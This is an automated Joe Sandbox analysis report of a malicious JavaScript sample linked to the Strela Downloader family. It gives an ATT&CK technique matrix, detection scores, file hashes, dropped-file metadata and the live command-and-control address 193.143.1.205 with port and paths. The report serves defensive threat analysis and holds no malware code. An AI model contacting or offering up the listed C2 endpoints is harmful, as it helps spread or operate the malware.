Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Windows Management Instrumentation	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Native API	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Exploitation for Client Execution	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1732630681161426175.js	3%	Virustotal		Browse
1732630681161426175.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/a	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2719011479.000001ACAB48D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1491300723.000001ACAB310000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000003.1490363223.0000020DC08A7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1491665168.0000020DC08CC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1491496930.0000020DC0878000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1491582252.0000020DC08A7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1489065475.0000020DC08CA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/a	net.exe, 00000007.00000003.1490363223.0000020DC08A7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1491582252.0000020DC08A7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587869
Start date and time:	2025-01-10 18:48:31 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1732630681161426175.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@28/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 2.23.242.162, 50.16.47.176, 34.237.241.83, 18.213.11.84, 54.224.241.105, 23.209.209.135, 199.232.214.172, 2.16.168.107, 2.16.168.105, 52.149.20.212, 23.217.172.185, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
12:49:29	API Interceptor	22x Sleep call for process: powershell.exe modified
12:49:33	API Interceptor	1x Sleep call for process: net.exe modified
12:49:33	API Interceptor	2x Sleep call for process: svchost.exe modified
12:49:41	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	2453210565523714481.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	13924233483066821789.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19048239772762424923.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7605302032554420656.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2808316613110627987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1283220404157902514.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	461871411576525587.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2280028191949810979.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2153616741885716229.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	77502473271720630.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	2453210565523714481.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2808316613110627987.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1283220404157902514.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2280028191949810979.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	3132773231614716983.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1917827975246096126.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	21787281582160623337.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2553416555111621752.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	251443863021115246.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	324865730118751586.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2453210565523714481.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	13924233483066821789.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19048239772762424923.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	241721637114311605.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7605302032554420656.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2808316613110627987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1283220404157902514.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	461871411576525587.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2280028191949810979.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2153616741885716229.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8022099323727961
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAO:RJE+Lfki1GjHwU/+vVhWqp7
MD5:	0A1105DC0F5511E3E7428F6A13EEA3FA
SHA1:	0C2E1F1950A0EA4D4EB29E0DC6D1FF92F59887B7
SHA-256:	820E3E0C97F9C2600777B9F42F2797E00CA3548F04E3BFF3BC36B3E53765A1B8
SHA-512:	EE29A8A046B75C886AAB7254D0D6D2AFCDC38D4C51A670BE94CEFBCA2C2499F49BE670E5DDB26B0B2AB3DA11603DD3681A307E4C0111492A874650A8F70E7D57
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xe8d4ac17, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9433176861818502
Encrypted:	false
SSDEEP:	1536:jrrSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPO9:jrrazaHvxXy2V2UR
MD5:	00DEF239B70FCD7B79DC83ED9BCA2F24
SHA1:	10674D164FD783894468EE70EF31950EF19B7AB6
SHA-256:	C8B25433765E432A0B0CDEF29261479A45BAF33CF14720ADA04AE8013458D322
SHA-512:	138888FAA4C4E14978B19D3B0E2C69887BF9E1262FF5D60BAC171B21614B484BB3E66E9CD5D0B8982EBACADE44A500EAEE3F4E60617D48BBCECA0F1E459928F5
Malicious:	false
Preview:	...... ...............X\...;...{......................0.x...... ...{s.!1...}..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{...................................rN.!1...}..................Tzs!1...}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08131733405073992
Encrypted:	false
SSDEEP:	3:Ngl6YezdRwwdl/nqlFcl1ZUllllJWc//allGBnX/l/Tj/k7/t:NPzzde6l/qlFclQ/l7r/G254
MD5:	27A57AC7D3318BF877BF125C488B8AB8
SHA1:	072765FEF8E383F81757F67BFAB94C57F8249589
SHA-256:	B414E300B5FAF5FF1FE228E79607B002CE238551C80192D91D8745DC7AA9A30F
SHA-512:	C482FFE855EB12AE638C9D3BB78D938A03EAA816176ECB2590872FEDF3684DD98FF79BBBA2A53AECF75F73754FC90AB10A8C3D8C36414C8890E68C67E4E9C922
Malicious:	false
Preview:	5........................................;...{..!1...}... ...{s.......... ...{s.. ...{s.P.... ...{s..................Tzs!1...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.214972046472608
Encrypted:	false
SSDEEP:	6:iO4WeS9+q2PCHhJ2nKuAl9OmbnIFUtSWfJZmwsWf9VkwOCHhJ2nKuAl9OmbjLJ:7deS4vBHAahFUtnfJ/5fD56HAaSJ
MD5:	D9FC9515AB31438766B0E68F27D8B04B
SHA1:	43BE96FBAE520AF55F4B0AE124AF136C8FBB6F45
SHA-256:	0D9F7A4B493D49A136299ACFAE1A24055A3567376B9E37EA9C8DC82DDDD48546
SHA-512:	BB6472968F67335F6FA07FF68D13069E58C4940DDAC4C7F01871072FC1318F548535F5C46BEC0B4A0C17B8FF5F569151B3EBB28B2079BCC431C3CC2ACAE3EEB8
Malicious:	false
Preview:	2025/01/10-12:49:33.528 1428 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:49:33.531 1428 Recovering log #3.2025/01/10-12:49:33.531 1428 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.214972046472608
Encrypted:	false
SSDEEP:	6:iO4WeS9+q2PCHhJ2nKuAl9OmbnIFUtSWfJZmwsWf9VkwOCHhJ2nKuAl9OmbjLJ:7deS4vBHAahFUtnfJ/5fD56HAaSJ
MD5:	D9FC9515AB31438766B0E68F27D8B04B
SHA1:	43BE96FBAE520AF55F4B0AE124AF136C8FBB6F45
SHA-256:	0D9F7A4B493D49A136299ACFAE1A24055A3567376B9E37EA9C8DC82DDDD48546
SHA-512:	BB6472968F67335F6FA07FF68D13069E58C4940DDAC4C7F01871072FC1318F548535F5C46BEC0B4A0C17B8FF5F569151B3EBB28B2079BCC431C3CC2ACAE3EEB8
Malicious:	false
Preview:	2025/01/10-12:49:33.528 1428 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:49:33.531 1428 Recovering log #3.2025/01/10-12:49:33.531 1428 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.212898105989262
Encrypted:	false
SSDEEP:	6:iO4W9q2PCHhJ2nKuAl9Ombzo2jMGIFUtSWbZmwsWyVzkwOCHhJ2nKuAl9Ombzo23:7d9vBHAa8uFUtnb/5yVz56HAa8RJ
MD5:	B9B284F70BE6FB40B7F717F214557BCA
SHA1:	87A84A0141E5AB768DAC98E671BD2B628001C40C
SHA-256:	BF760896A7DA3CC54D2339FEBF3DC3962124F3F053D2DFEB00F0479E831713CE
SHA-512:	13FAB70E761A3913A61D0A79E9BD0BA51D3BD915CA0AF1E38ABAB2C8A5872EC2DE8B22EAFBAE76C21C3BCD1D083F51067555626F84890726F31C275750621880
Malicious:	false
Preview:	2025/01/10-12:49:33.573 b80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:49:33.574 b80 Recovering log #3.2025/01/10-12:49:33.575 b80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.212898105989262
Encrypted:	false
SSDEEP:	6:iO4W9q2PCHhJ2nKuAl9Ombzo2jMGIFUtSWbZmwsWyVzkwOCHhJ2nKuAl9Ombzo23:7d9vBHAa8uFUtnb/5yVz56HAa8RJ
MD5:	B9B284F70BE6FB40B7F717F214557BCA
SHA1:	87A84A0141E5AB768DAC98E671BD2B628001C40C
SHA-256:	BF760896A7DA3CC54D2339FEBF3DC3962124F3F053D2DFEB00F0479E831713CE
SHA-512:	13FAB70E761A3913A61D0A79E9BD0BA51D3BD915CA0AF1E38ABAB2C8A5872EC2DE8B22EAFBAE76C21C3BCD1D083F51067555626F84890726F31C275750621880
Malicious:	false
Preview:	2025/01/10-12:49:33.573 b80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:49:33.574 b80 Recovering log #3.2025/01/10-12:49:33.575 b80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.9655162853550765
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq8vsBdOg2HQcaq3QYiub6P7E4T3y:Y2sRdsydMHb3QYhbS7nby
MD5:	970575F6954FCE8D6A092746B0F135DD
SHA1:	BD30F708AD5434EB330ABB762667F00F10FF3F8F
SHA-256:	25AAB6EDB00A7E491BA01A6243AD55A92A9747C5442728F3FFC75F3C97D31F89
SHA-512:	D89C1741D8736A65873A52D90DA8B016E31B40EA489C5447C073009BBB968C95EE5EC61BACFD3C99D9ECE7A8B186591AC5ADFB7E1D053B19F4011CC82A18FB94
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381091385442718","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":127475},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\abdbfdb3-64fe-48bf-8ff2-48be01fd9666.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.9655162853550765
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq8vsBdOg2HQcaq3QYiub6P7E4T3y:Y2sRdsydMHb3QYhbS7nby
MD5:	970575F6954FCE8D6A092746B0F135DD
SHA1:	BD30F708AD5434EB330ABB762667F00F10FF3F8F
SHA-256:	25AAB6EDB00A7E491BA01A6243AD55A92A9747C5442728F3FFC75F3C97D31F89
SHA-512:	D89C1741D8736A65873A52D90DA8B016E31B40EA489C5447C073009BBB968C95EE5EC61BACFD3C99D9ECE7A8B186591AC5ADFB7E1D053B19F4011CC82A18FB94
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381091385442718","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":127475},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.235894905587308
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bHsPyfYO:S43C4mS7fFi0KFYDjr3LWO3V3aw+bMmr
MD5:	A81D74602EBC90E023FC8B45CC4D9F7F
SHA1:	B439D87C25945528DF2ACD03CF1B3BAA33701611
SHA-256:	FC7176EF9EEBECBFCB2A18777BF02837D01510CD79046F271130A2E5461D6D7F
SHA-512:	177A989B7CA855C21C676C824B4C4B09EFE611108EFB49B3D5365CC14622AABFFA02F144E8AC4D468A816199DCD909F9713C208C3A4B69FBEE378992F13056DE
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.228880751106021
Encrypted:	false
SSDEEP:	6:iO4Weq2PCHhJ2nKuAl9OmbzNMxIFUtSW0ZmwsW0kwOCHhJ2nKuAl9OmbzNMFLJ:7devBHAa8jFUtn0/5056HAa84J
MD5:	FA787DF50D6E2D7CC40D308746153BE7
SHA1:	FF364778077ECC0448F7D3421D498D77B3316216
SHA-256:	CEC5C5877761CA975A8E9EF92A2D24B17CC925FEBE7FA0CC85F26A96CB9AD8DD
SHA-512:	FF780B671EFBB8C5321B6103DA138C49D8C42388FD0ED86AE4C73AFD1522BB8C1DBC9F80310C26E1FCA1F990B2AB3D1EFCF98B710D1FC8220D4A16935902340C
Malicious:	false
Preview:	2025/01/10-12:49:33.787 b80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:49:33.788 b80 Recovering log #3.2025/01/10-12:49:33.788 b80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.228880751106021
Encrypted:	false
SSDEEP:	6:iO4Weq2PCHhJ2nKuAl9OmbzNMxIFUtSW0ZmwsW0kwOCHhJ2nKuAl9OmbzNMFLJ:7devBHAa8jFUtn0/5056HAa84J
MD5:	FA787DF50D6E2D7CC40D308746153BE7
SHA1:	FF364778077ECC0448F7D3421D498D77B3316216
SHA-256:	CEC5C5877761CA975A8E9EF92A2D24B17CC925FEBE7FA0CC85F26A96CB9AD8DD
SHA-512:	FF780B671EFBB8C5321B6103DA138C49D8C42388FD0ED86AE4C73AFD1522BB8C1DBC9F80310C26E1FCA1F990B2AB3D1EFCF98B710D1FC8220D4A16935902340C
Malicious:	false
Preview:	2025/01/10-12:49:33.787 b80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:49:33.788 b80 Recovering log #3.2025/01/10-12:49:33.788 b80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
